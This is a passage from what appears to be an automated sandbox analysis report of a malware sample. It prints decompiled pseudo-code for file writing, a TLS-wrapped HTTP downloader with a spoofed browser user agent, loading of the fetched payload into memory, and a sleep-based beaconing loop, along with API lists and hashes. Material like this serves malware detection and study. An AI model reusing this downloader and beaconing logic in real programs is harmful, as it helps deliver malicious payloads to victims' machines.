				void* _t16;

				_v16 = 0x64;
				while(1) {
					_t16 = CreateFileA(_a4, 0x40000000, 0, 0, _a16, 0x80, 0);
					_v8 = _t16;
					if(_t16 != 0xffffffff || _v16 == 0) {
						break;
					}
					_v16 = _v16 - 1;
				}
				if(_v8 != 0xffffffff) {
					SetFilePointer(_v8, 0, 0, _a20);
					WriteFile(_v8, _a8, _a12,  &_v12, 0);
					return CloseHandle(_v8);
				}
				return _t16;
			}

0x004068dd
0x004068e4
0x004068fa
0x004068ff
0x00406905
0x00000000
0x00000000
0x0040690d
0x0040690d
0x00406916
0x00406922
0x00406936
0x00000000
0x0040693e
0x00406947

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,?,00000003), ref: 004068FA
SetFilePointer.KERNEL32(?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080,00000000,?,?,00000003), ref: 00406922
WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080,00000000), ref: 00406936
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080), ref: 0040693E

Strings

d, xrefs: 004068DD

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID: d
API String ID: 3604237281-2564639436
Opcode ID: dd2905f42701335b6341315361de6d4ff2a6edb61f55027a0e31e890746b5418
Instruction ID: 83c95fdf22c49c49fd60dc673a09bebfb5b0bd67c8764281e2b98084cc565f00
Opcode Fuzzy Hash: dd2905f42701335b6341315361de6d4ff2a6edb61f55027a0e31e890746b5418
Instruction Fuzzy Hash: 17014F71900208BADF219F95CD06FCE7B75EB40728F208266B621740E0C7755B70EB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402BF7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402BF7(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				char _v28;
				char _v1052;
				char _v1056;
				long _v1060;
				char _v1068;
				char _v1076;
				char _v1080;
				void* _t50;
				void* _t60;
				char* _t72;
				void* _t75;
				long _t82;
				char _t86;
				intOrPtr* _t87;
				void* _t88;
				void* _t90;

				_t90 = __eflags;
				E00406502( &_v1080,  &_v16 - _t88);
				E0040491C(_a16);
				_t50 = E00403009(__edx, _t90, _a4, _a8,  &_v1068,  &_v1076,  &_v8);
				_t91 = _t50;
				if(_t50 != 0) {
					E004044BF(_t91, _v8,  &_v1052, wsprintfA( &_v1052, "GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\r\nConnection: close\r\n\r\n", _a12, _a4), 0,  &_v1068);
					while(1) {
						E004064C8(_v8, 0,  &_v28, 0xa, 0);
						_push( &_v16);
						_push(0);
						_push(0);
						_t72 =  &_v28;
						_push(_t72);
						_push(0);
						L00406CD0();
						_t92 = _t72;
						if(_t72 <= 0) {
							goto L5;
						}
						_t75 = E004045F4(_t92, _v8,  &_v1080,  &_v1068);
						if(_t75 > 0) {
							_v1060 = _v1060 + _t75;
							E0040487D( &_v1056, _v1060, _v1080, _t75);
							E0040491C( &_v1080);
							continue;
						}
						goto L5;
					}
				}
				L5:
				E004062A4( &_v1068,  &_v1076, _v8);
				__eflags = _v1060;
				if(_v1060 == 0) {
					L13:
					E0040491C( &_v1056);
					_v1060 = 0;
				} else {
					_t87 = _v1056;
					_t82 = _v1060;
					while(1) {
						__eflags = _t82 - 4;
						if(_t82 < 4) {
							goto L13;
						}
						__eflags =  *_t87 - 0xa0d0a0d;
						if( *_t87 != 0xa0d0a0d) {
							L11:
							_t87 = _t87 + 1;
							_t82 = _t82 - 1;
							__eflags = _t82;
							continue;
						} else {
							_t82 = _t82 - 4;
							_t87 = _t87 + 4;
							__eflags = _t82;
							if(_t82 <= 0) {
								goto L11;
							} else {
								_v1060 = _t82;
								_t60 = VirtualAlloc(0, _v1060, 0x3000, 4);
								__eflags = _t60;
								if(_t60 == 0) {
									goto L13;
								} else {
									_t86 = _t60;
									E0040647B(_t87, _t86, _v1060);
									E0040491C( &_v1056);
									_v1056 = _t86;
								}
							}
						}
						goto L14;
					}
					goto L13;
				}
				L14:
				E0040647B( &_v1056, _a16, 4);
				return _v1060;
			}

0x00402bf7
0x00402c0e
0x00402c16
0x00402c33
0x00402c38
0x00402c3a
0x00402c70
0x00402c75
0x00402c82
0x00402c8a
0x00402c8b
0x00402c8d
0x00402c8f
0x00402c92
0x00402c93
0x00402c95
0x00402c9a
0x00402c9c
0x00000000
0x00000000
0x00402caf
0x00402cb6
0x00402cbe
0x00402cd3
0x00402cdf
0x00000000
0x00402cdf
0x00000000
0x00402cb6
0x00402c75
0x00402ce6
0x00402cf7
0x00402cfc
0x00402d03
0x00402d6e
0x00402d75
0x00402d7a
0x00402d05
0x00402d05
0x00402d0b
0x00402d69
0x00402d69
0x00402d6c
0x00000000
0x00000000
0x00402d13
0x00402d19
0x00402d67
0x00402d67
0x00402d68
0x00402d68
0x00000000
0x00402d1b
0x00402d1b
0x00402d1e
0x00402d21
0x00402d24
0x00000000
0x00402d26
0x00402d26
0x00402d40
0x00402d40
0x00402d42
0x00000000
0x00402d44
0x00402d44
0x00402d4e
0x00402d5a
0x00402d5f
0x00402d5f
0x00402d42
0x00402d24
0x00000000
0x00402d19
0x00000000
0x00402d69
0x00402d84
0x00402d90
0x00402d9f

APIs

Part of subcall function 0040491C: VirtualFree.KERNEL32(?,00000000,00008000,?,?,000000C7,?,00405632,?,?,?,?,?,?,00000000,00000006), ref: 00404933

Part of subcall function 00403009: AcquireCredentialsHandleA.SECUR32(00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000,?,00000008,?,00000008,?,?,?), ref: 0040305F
Part of subcall function 00403009: InitializeSecurityContextA.SECUR32(?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?,00000000,?,?,00000004,?), ref: 004030E6
Part of subcall function 00403009: FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?), ref: 00403112
Part of subcall function 00403009: VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004,?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000), ref: 00403125

wsprintfA.USER32 ref: 00402C52
select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000000,00000000,?), ref: 00402C95
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00402D3B

Part of subcall function 004045F4: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?,?,?,?), ref: 0040462D
Part of subcall function 004045F4: DecryptMessage.SECUR32(?,?,00000000,00000000,?,?,00000004,?,?,00000004,?,?,?,00000000,00000000,?), ref: 00404716

Strings

GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close, xrefs: 00402C46

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$ContextFree$AcquireBufferCredentialsDecryptHandleInitializeMessageSecurityselectwsprintf
String ID: GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
API String ID: 3270067178-3041754183
Opcode ID: bf7cc8515707bd42bd8afcde7f0da91c07592f38a0c6059dd6c9b59ed11983b3
Instruction ID: fe17d264d0b9b8461e70d8b6b25a4c0967bc4a0bfac2c1cf355b7a379c274034
Opcode Fuzzy Hash: bf7cc8515707bd42bd8afcde7f0da91c07592f38a0c6059dd6c9b59ed11983b3
Instruction Fuzzy Hash: 1A410BF294011CAADF21AAA1CD45FEE77BCAF44308F5040BAB705B20D1D6789F958B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC4A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0040AC8F

Part of subcall function 0040CA63: __mtinitlocknum.LIBCMT ref: 0040CA79

__lock.LIBCMT ref: 0040ACB0
___addlocaleref.LIBCMT ref: 0040ACCE

Strings

8gA, xrefs: 0040ACC3

Memory Dump Source

Source File: 00000000.00000002.305873396.000000000040A000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a000_R53a3ZJHBQ.jbxd

Similarity

API ID: __lock$___addlocaleref__mtinitlocknum
String ID: 8gA
API String ID: 3416137509-4267630940
Opcode ID: 1eddad60e474adfb5e8d0f8b718f7226be287f89febb819b45779397875be232
Instruction ID: c97d599b5e947c980b6866fe5fbac179b8ab54996e7765efca0b3c7b3dc3e0ba
Opcode Fuzzy Hash: 1eddad60e474adfb5e8d0f8b718f7226be287f89febb819b45779397875be232
Instruction Fuzzy Hash: 22017CB1405700DFD720AF66C845749BBE0AF40314F10892FE496667E1CBB8AA40CF19

Uniqueness

Uniqueness Score: -1.00%

Function 033F2FF2 Relevance: 6.2, APIs: 4, Instructions: 207memorynetworkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 033F309A
wsprintfA.USER32 ref: 033F30C5

Part of subcall function 033F4425: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,00000003), ref: 033F444C
Part of subcall function 033F4425: SetEvent.KERNEL32(?,?,?,00000202,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 033F4547

select.WS2_32(00000000,?,00000000,00000000,?), ref: 033F3103
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,00000000,00000006,?,00000000,00000002,?,?,?), ref: 033F3208

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: AllocEventIoctlObjectSingleVirtualWaitselectwsprintf
String ID:
API String ID: 1080322464-0
Opcode ID: 4ff464963b54caf0403181b252a5c3fc258baa7a20e6a45c1ae5ffb3a83d91c8
Instruction ID: 3119d71a3dba20727b2c2b3628acb3a21923d8cd09dd37556422afb3f8edee63
Opcode Fuzzy Hash: 4ff464963b54caf0403181b252a5c3fc258baa7a20e6a45c1ae5ffb3a83d91c8
Instruction Fuzzy Hash: 2E71F9B6D4021CBEEF11EAE0CD85FEEB77CAB04304F540066B749FA090DB75AA458B65

Uniqueness

Uniqueness Score: -1.00%

Function 033F6084 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000080,?,?,00C80000,00000FA0,00000FA0,000001F4,00000096,00000000,00000000,?,00000000), ref: 033F6161
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 033F6185
TranslateMessage.USER32(?), ref: 033F618E
DispatchMessageA.USER32(?), ref: 033F6197

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Message$CreateDispatchTranslateWindow
String ID:
API String ID: 1603676695-0
Opcode ID: a2ebbe30816c01a7cd0466d885fc3a365ea67a3c5b6fd6f00d8609d13b2fe84f
Instruction ID: 858baba7d7f9b9486077ad939df10f4c6b958e1d5eb92bb9c1d22aa61927dece
Opcode Fuzzy Hash: a2ebbe30816c01a7cd0466d885fc3a365ea67a3c5b6fd6f00d8609d13b2fe84f
Instruction Fuzzy Hash: 7531D775E41309BEEB50EFA4CD86FEDB6B8AF04B00F904065F618BA1C0DBB566048B55

Uniqueness

Uniqueness Score: -1.00%

Function 00404949 Relevance: 6.1, APIs: 4, Instructions: 61
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00404949() {
				char _v402;
				intOrPtr _v412;
				char _v420;
				intOrPtr _v424;
				char _v436;
				char _v440;
				char* _t21;
				intOrPtr _t27;
				signed int _t31;
				void* _t33;
				void* _t34;

				E00406502( &_v440, _t33 - _t34);
				goto L1;
				L3:
				L3:
				if(_v412 == 0) {
					_t38 = _v440;
					if(_v440 == 0) {
						L00406D4E();
						_v440 = _t27;
					}
				}
				_t27 = E00404E80(_t31, _t38, _v412, _v424);
				if(_t27 != 0) {
					goto L14;
				}
				while(_v412 != 0) {
					__eflags = _v412 - 0x408010;
					if(__eflags == 0) {
						_v412 = 0x408042;
						L13:
						goto L3;
					}
					_v412 = 0;
					_t27 = 0;
					__eflags = 0;
					asm("repe scasb");
					if(0 == 0) {
						continue;
					}
					goto L13;
				}
				_v412 = 0x408010;
				goto L13;
				L14:
				Sleep(0x2bf20);
				goto L3;
				L1:
				Sleep(0x2710);
				_t21 =  &_v402;
				_push(_t21);
				_push(0x202);
				L00406CA0();
				if(_t21 != 0) {
					goto L1;
				} else {
					_v412 = 0x408010;
					E00406519(0x408074, 0xffffffff,  &_v420);
					_v424 = E00406493( &_v420);
					_t27 = E00406519(0x40807e, 0xa,  &_v436);
					goto L3;
				}
			}

0x0040495d
0x0040495d
0x00000000
0x004049c3
0x004049ca
0x004049cc
0x004049d3
0x004049d5
0x004049da
0x004049da
0x004049d3
0x004049ec
0x004049f3
0x00000000
0x00000000
0x004049f5
0x00404a0a
0x00404a14
0x00404a33
0x00404a3d
0x00000000
0x00404a3d
0x00404a16
0x00404a26
0x00404a26
0x00404a2d
0x00404a2f
0x00000000
0x00000000
0x00000000
0x00404a31
0x004049fe
0x00000000
0x00404a3f
0x00404a44
0x00000000
0x00404962
0x00404967
0x0040496c
0x00404972
0x00404973
0x00404978
0x0040497f
0x00000000
0x00404981
0x00404981
0x00404999
0x004049aa
0x004049be
0x00000000
0x004049be

APIs

Sleep.KERNEL32(00002710,?), ref: 00404967
WSAStartup.WSOCK32(00000202,?,00002710,?), ref: 00404978
InitSecurityInterfaceA.SECUR32(0002BF20,?,?,0040807E,0000000A,?,?,00408074,000000FF,?,00000202,?,00002710,?), ref: 004049D5
Sleep.KERNEL32(0002BF20,?,?,0040807E,0000000A,?,?,00408074,000000FF,?,00000202,?,00002710,?), ref: 00404A44

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Sleep$InitInterfaceSecurityStartup
String ID:
API String ID: 3734495323-0
Opcode ID: 8685debedd6e49e877152dd7995fe74b4e8cba806c7e2e375d33f791f948b2e3
Instruction ID: 846da114990d3f5c9798a7c57b9f8e2c2d9e3c4d6e8d55acdcfdd59af91626f2
Opcode Fuzzy Hash: 8685debedd6e49e877152dd7995fe74b4e8cba806c7e2e375d33f791f948b2e3
Instruction Fuzzy Hash: EC2184F0A44218AEDF209B61CD56BEA7278AB45308F5101FFB749751C5DBB84AC88F1A

Uniqueness

Uniqueness Score: -1.00%

Function 0040612A Relevance: 6.1, APIs: 4, Instructions: 53
synchronizationnetworkCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0040612A(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				char _v8;
				char _v28;
				char* _t20;
				intOrPtr _t24;

				_v8 = 0xa;
				if(_a16 != 0) {
					WaitForSingleObject(_a16, 0xffffffff);
				}
				_t24 = _a8;
				while(_a12 != 0) {
					E004064C8(_a4, 0,  &_v28, 0, 0);
					_push(0);
					_push(0);
					_t20 =  &_v28;
					_push(_t20);
					_push(0);
					_push(0);
					L00406CD0();
					if(_t20 == 1) {
						_push(0);
						_push(_a12);
						_push(_t24);
						_push(_a4);
						L00406CD6();
						if(_t20 > 0) {
							_a12 = _a12 - _t20;
							_t24 = _t24 + _t20;
							_t12 =  &_v8;
							 *_t12 = _v8 - 1;
							if( *_t12 != 0) {
								continue;
							}
						}
					}
					break;
				}
				if(_a16 != 0) {
					SetEvent(_a16);
				}
				return _a12;
			}

0x00406133
0x0040613e
0x00406145
0x00406145
0x0040614a
0x00406193
0x0040615c
0x00406161
0x00406163
0x00406165
0x00406168
0x00406169
0x0040616b
0x0040616d
0x00406175
0x00406177
0x00406179
0x0040617c
0x0040617d
0x00406180
0x00406187
0x00406189
0x0040618c
0x0040618e
0x0040618e
0x00406191
0x00000000
0x00000000
0x00406191
0x00406187
0x00000000
0x00406175
0x0040619d
0x004061a2
0x004061a2
0x004061ae

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00406145
select.WSOCK32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 0040616D
send.WSOCK32(?,?,?,00000000,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?), ref: 00406180
SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 004061A2

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: EventObjectSingleWaitselectsend
String ID:
API String ID: 3746265427-0
Opcode ID: 93ab129094b24af53bbefa6edc083f341c6695ce7d376af0aa6a2a2e49a181a9
Instruction ID: 438d4de81dc4217a45cb490729b461b48b3e839ddec565472ad82c44e5d20bae
Opcode Fuzzy Hash: 93ab129094b24af53bbefa6edc083f341c6695ce7d376af0aa6a2a2e49a181a9
Instruction Fuzzy Hash: 04116131140209BBEF209E55CC06FDF3668EB00315F15053BF916B91D2D7B9AA71D7A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040B549 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B57B

Part of subcall function 0040AD77: __getptd_noexit.LIBCMT ref: 0040AD7A

__getptd.LIBCMT ref: 0040B589
__getptd.LIBCMT ref: 0040B597
__getptd.LIBCMT ref: 0040B5A2

Part of subcall function 0040B66F: __getptd.LIBCMT ref: 0040B67E
Part of subcall function 0040B66F: __getptd.LIBCMT ref: 0040B68C

Memory Dump Source

Source File: 00000000.00000002.305873396.000000000040A000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a000_R53a3ZJHBQ.jbxd

Similarity

API ID: __getptd$__getptd_noexit
String ID:
API String ID: 989085358-0
Opcode ID: 90ab24da204f4bbf67175ffbd7bd8491f3dd755bbc5abcee23f06ac882624155
Instruction ID: 1a3143193f64aeac8ceb4f764b4d4497176559468a4b0290007bfb067a6fc9fd
Opcode Fuzzy Hash: 90ab24da204f4bbf67175ffbd7bd8491f3dd755bbc5abcee23f06ac882624155
Instruction Fuzzy Hash: 7111D7B1C00309DFDB04EFA5C446AAE7BB1FF04319F11846AF814A7292EB389A15DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C870 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040C87C

Part of subcall function 0040AD77: __getptd_noexit.LIBCMT ref: 0040AD7A

__getptd.LIBCMT ref: 0040C893
__lock.LIBCMT ref: 0040C8B1
__updatetlocinfoEx_nolock.LIBCMT ref: 0040C8C5

Memory Dump Source

Source File: 00000000.00000002.305873396.000000000040A000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a000_R53a3ZJHBQ.jbxd

Similarity

API ID: __getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 1314619503-0
Opcode ID: 87817498eeebcd391b1010e05bdfdf1375ae703b325c3b9ae9e5f6196eb00efa
Instruction ID: 69387d8ba419ab465f376d1e47455ca1e91b46f2155268ba73d2acec398f83a0
Opcode Fuzzy Hash: 87817498eeebcd391b1010e05bdfdf1375ae703b325c3b9ae9e5f6196eb00efa
Instruction Fuzzy Hash: 37F06233941700DAEA20BBAA9842B5D32905F0076AF11823FF014766D2CB3C4901CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00402A95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00402A95(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				char _v1072;
				char _v1076;
				char _v1080;
				char _v1084;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __eflags;
				E00406502( &_v1084,  &_v16 - _t59);
				E0040491C(_a16);
				if(E004027B5(__edx, _t61,  &_v8, _a4, _a8, 0xa) != 0) {
					_t40 = E0040612A(_v8,  &_v1072, wsprintfA( &_v1072, "GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\r\nConnection: close\r\n\r\n", _a12, _a4), 0);
					_t58 = 0;
					while(_t58 <= 0x400) {
						_t13 =  &_v1072; // -1068
						_t40 = E004061FD(__eflags, _v8, _t58 + _t13, 1, 0xa);
						__eflags = _t40 - 1;
						if(_t40 == 1) {
							_t58 = _t58 + 1;
							__eflags = _t58 - 4;
							if(__eflags < 0) {
								continue;
							} else {
								__eflags =  *[ss:edi+ebp-0x430] - 0xa0d0a0d;
								if(__eflags != 0) {
									continue;
								} else {
									while(1) {
										_push( &_v1076);
										_push(0x4004667f);
										_push(_v8);
										L00406CC4();
										__eflags = _v1076;
										if(_v1076 == 0) {
											_v1076 = 0x1000;
										}
										_t40 = E004048B3( &_v1080, _v1084, _v1076 + _v1084);
										__eflags = _t40;
										if(_t40 == 0) {
											goto L14;
										}
										while(1) {
											__eflags = _v1076;
											if(__eflags == 0) {
												break;
											}
											_t40 = E004061FD(__eflags, _v8, _v1080 + _v1084, _v1076, 0xa);
											__eflags = _t40;
											if(_t40 > 0) {
												_v1084 = _v1084 + _t40;
												_t29 =  &_v1076;
												 *_t29 = _v1076 - _t40;
												__eflags =  *_t29;
												continue;
											}
											goto L14;
										}
									}
								}
							}
						}
						goto L14;
					}
				}
				L14:
				E004062E7(_t40, _v8);
				E0040647B( &_v1080, _a16, 4);
				return _v1084;
			}

0x00402a95
0x00402aac
0x00402ab4
0x00402acc
0x00402af9
0x00402afe
0x00402bc5
0x00402b09
0x00402b14
0x00402b19
0x00402b1c
0x00402b22
0x00402b23
0x00402b26
0x00000000
0x00402b2c
0x00402b2c
0x00402b38
0x00000000
0x00000000
0x00402b3e
0x00402b44
0x00402b45
0x00402b4a
0x00402b4d
0x00402b52
0x00402b59
0x00402b5b
0x00402b5b
0x00402b7f
0x00402b84
0x00402b86
0x00000000
0x00000000
0x00402bb7
0x00402bb7
0x00402bbe
0x00000000
0x00000000
0x00402ba2
0x00402ba7
0x00402ba9
0x00402bab
0x00402bb1
0x00402bb1
0x00402bb1
0x00000000
0x00402bb1
0x00000000
0x00402ba9
0x00402bc0
0x00402b3e
0x00402b38
0x00402b26
0x00000000
0x00402b1c
0x00402bc5
0x00402bd1
0x00402bd4
0x00402be5
0x00402bf4

APIs

Part of subcall function 0040491C: VirtualFree.KERNEL32(?,00000000,00008000,?,?,000000C7,?,00405632,?,?,?,?,?,?,00000000,00000006), ref: 00404933

Part of subcall function 004027B5: socket.WSOCK32(00000002,00000001,00000006,?,?,?,?,00000003), ref: 004027D7
Part of subcall function 004027B5: setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,?,00000004,00000002,00000001,00000006,?,?,?,?,00000003), ref: 00402807
Part of subcall function 004027B5: inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004), ref: 0040284A
Part of subcall function 004027B5: htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?), ref: 0040286B
Part of subcall function 004027B5: ioctlsocket.WSOCK32(?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?), ref: 00402893
Part of subcall function 004027B5: connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?), ref: 004028A1
Part of subcall function 004027B5: select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010,?,8004667E,?), ref: 004028C7
Part of subcall function 004027B5: ioctlsocket.WSOCK32(?,8004667E,?,00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010), ref: 004028EA

wsprintfA.USER32 ref: 00402AE4

Part of subcall function 0040612A: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00406145
Part of subcall function 0040612A: SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 004061A2

ioctlsocket.WSOCK32(?,4004667F,?), ref: 00402B4D

Strings

GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close, xrefs: 00402AD8

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: ioctlsocket$EventFreeObjectSingleVirtualWaitconnecthtonsinet_addrselectsetsockoptsocketwsprintf
String ID: GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
API String ID: 2667627932-3041754183
Opcode ID: 2f2d75355198efdbc481748b84068470698474b032d648032dee3ad856b4de54
Instruction ID: b50a02f17d59359c05f0bee1a1f3fd5d53715354ac807e7ed221d2e13132fb1f
Opcode Fuzzy Hash: 2f2d75355198efdbc481748b84068470698474b032d648032dee3ad856b4de54
Instruction Fuzzy Hash: D33150B1900218AADF21AE64CD86FDE7778AB04318F4010B6F605B10D1D779AF94DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 033F6B24 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,40000000,00000000,00000000,?,00000080,00000000,?,?), ref: 033F6B4A
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080), ref: 033F6B8E

Strings

d, xrefs: 033F6B2D

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: d
API String ID: 3498533004-2564639436
Opcode ID: dd2905f42701335b6341315361de6d4ff2a6edb61f55027a0e31e890746b5418
Instruction ID: ffc8b93f0db84ea7af64835c3175820a62f6904c04712b0fdfddc896231957be
Opcode Fuzzy Hash: dd2905f42701335b6341315361de6d4ff2a6edb61f55027a0e31e890746b5418
Instruction Fuzzy Hash: 7701E831940208FEEF21DF95DD86FDE7B39AB40728FA44265B720780E0C7726A60AB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B30D
__CallSettingFrame@12.LIBCMT ref: 0040B359

Strings

j, xrefs: 0040B2E3

Memory Dump Source

Source File: 00000000.00000002.305873396.000000000040A000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a000_R53a3ZJHBQ.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 4b90113d326e836ad41354c9c3bda5cd7f8e6bda960b276debb487cb563f0746
Instruction ID: c9235b576df28f921bdd51c286bbab9be60d30cdb76ab70db1d997ef382334e9
Opcode Fuzzy Hash: 4b90113d326e836ad41354c9c3bda5cd7f8e6bda960b276debb487cb563f0746
Instruction Fuzzy Hash: 79118B31901651DBCB219F58C4452ADBB70FF00318F2880ABE8987B6D3C3796952CBCE

Uniqueness

Uniqueness Score: -1.00%

Function 0040B66F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B67E

